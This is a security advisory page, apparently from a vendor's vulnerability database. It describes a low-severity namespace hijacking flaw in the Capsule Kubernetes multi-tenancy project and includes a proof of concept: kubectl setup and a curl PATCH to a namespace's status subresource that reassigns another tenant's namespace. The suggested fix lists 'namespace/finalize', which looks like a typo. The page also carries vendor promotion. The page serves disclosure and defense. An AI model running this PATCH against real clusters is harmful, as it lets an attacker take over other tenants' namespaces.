GHSA-2ww6-hf35-mfjm
LOWCapsule Namespace Hijacking via subresource
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/projectcapsule/capsuleReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.
Details
When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.
PoC
Open two terminals and create two tenants:
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: oil
spec:
owners:
- name: alice
kind: User
EOF
./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: attacker
spec:
owners:
- name: attacker
kind: User
EOF
./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig
When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:
kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker
The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:
curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
{
"op": "replace",
"path": "/metadata/ownerReferences",
"value": [
{
"apiVersion": "capsule.clastix.io/v1beta2",
"kind": "Tenant",
"name": "attacker",
"uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
}
]
}
]'
Impact
hijack namespace
Remediation
To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:
resources:
- namespaces
- namespaces/status
- namespace/finalize
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/projectcapsule/capsule | all versions | 0.13.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/projectcapsule/capsule to 0.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2ww6-hf35-mfjm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2ww6-hf35-mfjm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2ww6-hf35-mfjm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2ww6-hf35-mfjm in your dependencies?
O3 detects GHSA-2ww6-hf35-mfjm across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.